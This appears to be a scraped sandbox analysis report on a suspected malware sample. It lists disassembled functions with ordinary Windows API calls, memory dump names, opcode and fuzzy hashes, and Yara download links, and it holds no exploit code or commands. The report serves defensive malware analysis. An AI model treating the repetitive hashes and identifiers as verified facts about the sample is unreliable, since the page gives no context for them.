API String ID: 3188754299-0
Opcode ID: 0d9f3cd0aba901f52d22e7fc9097910621589f24df853318d5af2ba87b6fa5e9
Instruction ID: f32d49dd2ae8b58c0c40083fb3defa4b541d68cc1025cec9ed250b126f692f27
Opcode Fuzzy Hash: 0d9f3cd0aba901f52d22e7fc9097910621589f24df853318d5af2ba87b6fa5e9
Instruction Fuzzy Hash: 4FF0A73114123E66DF016A658C01FDE3B6DAF043D4F048027BC84A7191DB75DDA59AA4

Function 00409004 Relevance: 3.0, APIs: 2, Instructions: 30fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,-00000011,?,0040869F,?,?,00000001,?,?,?,?,?,?,00000000,?), ref: 0040901C
DeleteFileW.KERNEL32(?,?,?,00000800,?,0040869F,?,?,00000001,?,?,?,?,?,?,00000000), ref: 00409046

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 90451938786b7f59172b0c811631159dade1dd164b308dfaaa0a80e1040f6e92
Instruction ID: a13a883a1f6153248d7ef179cdd29017bd0aa464b96f45660c3251f7b49a4acf
Opcode Fuzzy Hash: 90451938786b7f59172b0c811631159dade1dd164b308dfaaa0a80e1040f6e92
Instruction Fuzzy Hash: CCE02B3114222DA6DB1066218C01FDE3B6C5F043C0F0440737C84A31D1DB79EC9189A5

Function 0040DCAF Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040DCDD
SetDlgItemTextW.USER32(00000065,?), ref: 0040DCF4

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: f462540bee88420ba8de915a207eadb7e78809dfaab5b3a47c540e35977eae7d
Instruction ID: 51d718bbcdad2d3c0e38940bd9655f966f128ec5ed9968088acb2aee9960783c
Opcode Fuzzy Hash: f462540bee88420ba8de915a207eadb7e78809dfaab5b3a47c540e35977eae7d
Instruction Fuzzy Hash: 0AF05C31A1030876EB01B7B18D43F8E366C4705789F04057AB700730E1D5795931875E

Function 00408F61 Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,004091CE,?,00406720,?,?,?,?), ref: 00408F79
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,?,004091CE,?,00406720,?,?,?,?), ref: 00408FA1

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d44052b13896b8b2efb6b8bfc698ce1e12285283b25508e3535b24f355f29611
Instruction ID: 92e1726b443e00eb3ee6414bf043f798e9f7245f272599e856072e2678fdb8df
Opcode Fuzzy Hash: d44052b13896b8b2efb6b8bfc698ce1e12285283b25508e3535b24f355f29611
Instruction Fuzzy Hash: A0E09B7260011C26DB10A769CC01FDD77ADAB8C3B5F044077B944E31D0DAB8DD968BA4

Function 00410CA7 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,00410CE3,00409F14), ref: 00410CB4
GetProcessAffinityMask.KERNEL32(00000000), ref: 00410CBB

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: dcf7491ca214860e487e77938373b098f05fcf341780650e92e05a1f8534bf3b
Instruction ID: e5f39edb2d65f6a1d41532f442d8ed9e2f6a737e4aba591fa598ebba9ce63b28
Opcode Fuzzy Hash: dcf7491ca214860e487e77938373b098f05fcf341780650e92e05a1f8534bf3b
Instruction Fuzzy Hash: 8AE08076610106AB8F1C57B4CD055EF725CE701305710457BE403D1200F5A4D5C15BE9

Function 00419E2F Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(00000000,00000000,00438820,0040FE7C), ref: 00419E40
FreeLibrary.KERNELBASE(?,00000000,00438820,0040FE7C), ref: 00419E4A

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 0d62cf78e3bdc661a2f82cba813f0a1a4c9abef6bee34bc7d64aa9ac4bab2991
Instruction ID: e9e9cc9e75335fbaa328bc5dbfdccc89299fc13d4448708a46788c35bb3e456b
Opcode Fuzzy Hash: 0d62cf78e3bdc661a2f82cba813f0a1a4c9abef6bee34bc7d64aa9ac4bab2991
Instruction Fuzzy Hash: 14E0E635701210DB8621EF69DC04997F3ECAF85711315446AE804D3350C774EC418AA9

Function 004060C1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 004060D6
ShowWindow.USER32(00000000), ref: 004060DD

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 4831fce4d73d936a96b8da5e650052ed61dc757b3f02978e41a04ced16bb9e28
Instruction ID: bb8df4f73c5df098251a309fe1c33c8504d4bfd4afe98da2c54c19901aad4cc9
Opcode Fuzzy Hash: 4831fce4d73d936a96b8da5e650052ed61dc757b3f02978e41a04ced16bb9e28
Instruction Fuzzy Hash: 9FC01232258201FFCB010BB0DC09D2ABFACABA4212F00CA68B8A5C0161C23AC020DB62

Function 004060A3 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 004060B1
KiUserCallbackDispatcher.NTDLL(00000000), ref: 004060B8

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: 10473aa6b390d4c6f4367ea588a870e2b335c57c20f02c17b48037ae3329eebf
Instruction ID: 1aa957cd52260ed364119c24255e18d6411bf3cbccacf3a019d43f62ef9d5eea
Opcode Fuzzy Hash: 10473aa6b390d4c6f4367ea588a870e2b335c57c20f02c17b48037ae3329eebf
Instruction Fuzzy Hash: 4BC04C76508240FFCB115BA09D08C2FBFADAF98311F50C859B9A581121C636C421DB26

Function 00421299 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 004212A1

Part of subcall function 0042126E: GetModuleHandleW.KERNEL32(mscoree.dll,?,004212A6,00000000,?,0041CD27,000000FF,0000001E,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018), ref: 00421278
Part of subcall function 0042126E: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00421288

ExitProcess.KERNEL32 ref: 004212AA

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 21a27a63abf6c3875c02e94f35324880841d9b00b93dc530bda6b4d16cfe0508
Instruction ID: c6812d1777e32e585e2ef8636d69d3407a4dd70a4b54595152d0a3a8b2406f89
Opcode Fuzzy Hash: 21a27a63abf6c3875c02e94f35324880841d9b00b93dc530bda6b4d16cfe0508
Instruction Fuzzy Hash: 5EB09231204148BFDB112F12EC0A85D3F2AEB807A0BA04025FC084A072DF72EDA2DAD9

Function 00402C8F Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402C94

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2421c4f90e7814d60c036d7d1e238915adf895873ea2564b94cd26f126ff620e
Instruction ID: 742206060651fc025572fd1eb548bf5572dfcfe9c4a596cdf26dc89aeb9e180e
Opcode Fuzzy Hash: 2421c4f90e7814d60c036d7d1e238915adf895873ea2564b94cd26f126ff620e
Instruction Fuzzy Hash: C8612570505744ABDB34DB79C989BEBB7E4AF41304F00496FF5AB622C2CBB82944CB19

Function 0041790C Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00417911

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 79c241710036945b0e8c1d7d32c4cb15439dc8290ce9352ac8db3af8127058bf
Instruction ID: be647cb3fd71d12650130d9a698408558a82919b25c6e51b47c3e11cfe21f77e
Opcode Fuzzy Hash: 79c241710036945b0e8c1d7d32c4cb15439dc8290ce9352ac8db3af8127058bf
Instruction Fuzzy Hash: BA31B6B2A141058BDB14DF59C9826EDB7F1EF95308B10442FD096E7342D73E9D85CB68

Function 0040927F Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 004092E6

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: 22205a8470e74219309dd66db67576da41e8cb33cbd043dad4ed0d8e077d1d56
Instruction ID: e5a65c93cd06a23b3edbbe9bd77c12815be82857be03b7caa808787e9d51beb7
Opcode Fuzzy Hash: 22205a8470e74219309dd66db67576da41e8cb33cbd043dad4ed0d8e077d1d56
Instruction Fuzzy Hash: 9B21F9315012156ADF309AA5C886BDE73A99F4A744F104077FD84F71C2E6BCADC58B58

Function 00408D23 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408D28

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 81fb3a6f0b2dadf3925ad1a8b3a294dd36e0657d826e3ecd61b285badfde8637
Instruction ID: 3b0f654ca84f9b00b74004c7f9d6528193aeb6f532f40180d9f0fe85922b7209
Opcode Fuzzy Hash: 81fb3a6f0b2dadf3925ad1a8b3a294dd36e0657d826e3ecd61b285badfde8637
Instruction Fuzzy Hash: 01F04F35B002149FD7149F58CC89FADF7B5FF48724F208199E912A73D1CB799D018A54

Function 00408952 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,74DF20B0,00000000,004085AD,?,?,?,?,0040736D,?,00000000,?,00000800,?,?,?), ref: 0040896D

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: fa28e57e717c14776fcc15f50cb58b478873ae3328fd3a4ffbe1696e0b816d3d
Instruction ID: e341fdcc8387c91c0e5d0cb21e7631946c13a32fabfeae03377b8c24d8ce50d2
Opcode Fuzzy Hash: fa28e57e717c14776fcc15f50cb58b478873ae3328fd3a4ffbe1696e0b816d3d
Instruction Fuzzy Hash: 14F027B0542B144FD730663956487E373D85B15735F08972FE9E2A33C1C77C5C484A56

Function 0040550A Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040550F

Part of subcall function 00409F46: __EH_prolog.LIBCMT ref: 00409F4B

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a0e0482eef27e39e818fc372b98a5a9e5281770223a349f829680370df9cb11d
Instruction ID: 4f7029223cc9bfe80eb94b922fb7cc38893bf222af06625d23a75974d8a968ff
Opcode Fuzzy Hash: a0e0482eef27e39e818fc372b98a5a9e5281770223a349f829680370df9cb11d
Instruction Fuzzy Hash: 03018C30905790DAC705E7A5C2117EDB7A4AF2430CF1044DEA456632C3CBB82B88CB6B

Function 004095DC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Part of subcall function 00409FC4: _wcspbrk.LIBCMT ref: 00409FD5

FindClose.KERNELBASE(00000000,00000800,000000FF,?,?,?,?,00408331,?,?,00000000,?,00000800), ref: 0040960C

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CloseFind_wcspbrk
String ID:
API String ID: 2190230203-0
Opcode ID: 39ea26712d5ca65ab045286081f21ff3b2941b1a2c09988302a67c024bc4b7b4
Instruction ID: 7878f6d5e33578875329d5721eebc5f6fc2c64fa75cc553fad57c447ec83d0bc
Opcode Fuzzy Hash: 39ea26712d5ca65ab045286081f21ff3b2941b1a2c09988302a67c024bc4b7b4
Instruction Fuzzy Hash: 34F09036005380AACA226B758804BCB7F955F55335F048A1EB1F8721D3C779189ADB6A

Function 00406FBA Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00406FBF

Part of subcall function 00415380: __EH_prolog.LIBCMT ref: 00415385

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: de15e8dc75b4bd31bcdafa08aae457da7714568970e2e6915e40c43a43641d32
Instruction ID: 106a3ede041e0e9e37d9b754b64534ee1dc51bc7015f9c7dddf168db923a4940
Opcode Fuzzy Hash: de15e8dc75b4bd31bcdafa08aae457da7714568970e2e6915e40c43a43641d32
Instruction Fuzzy Hash: 98E092325116109BCB19AB29D4027EEF374EFC0728F10036FE432732C1DBB86D418659

Function 00409640 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00409661

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: c7a22f7798279a6f7519e1e5fc0ec24188ae8916def0818a0b6c4e85bab034ef
Instruction ID: d642d3f8287545d7ea58b2778da428c31f7e4de34155637f5aa8441520eafd07
Opcode Fuzzy Hash: c7a22f7798279a6f7519e1e5fc0ec24188ae8916def0818a0b6c4e85bab034ef
Instruction Fuzzy Hash: C5E0CD7190474039E321911DDC04F57AAD84B91724F14CC2FF189A72C3D1BC5C41876D

Function 0041EBA7 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EBBC

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: bf1e3bf3518953ba1a1cfb351a5287f9267f10c5b3ddaf736794a120e8baedd1
Instruction ID: 38f121e58b7adadffe473ae12edbf1895aca69ad112a4ea178b6eb37c437d7d7
Opcode Fuzzy Hash: bf1e3bf3518953ba1a1cfb351a5287f9267f10c5b3ddaf736794a120e8baedd1
Instruction Fuzzy Hash: F1D02E3A6443085AEB109F726C08B323BDCE3843A5F000032B80DC2180F230C4908508

Function 00408B7A Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00408BFA,?,00408DD0,?,00000000,00000800,?,00000000), ref: 00408B86

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
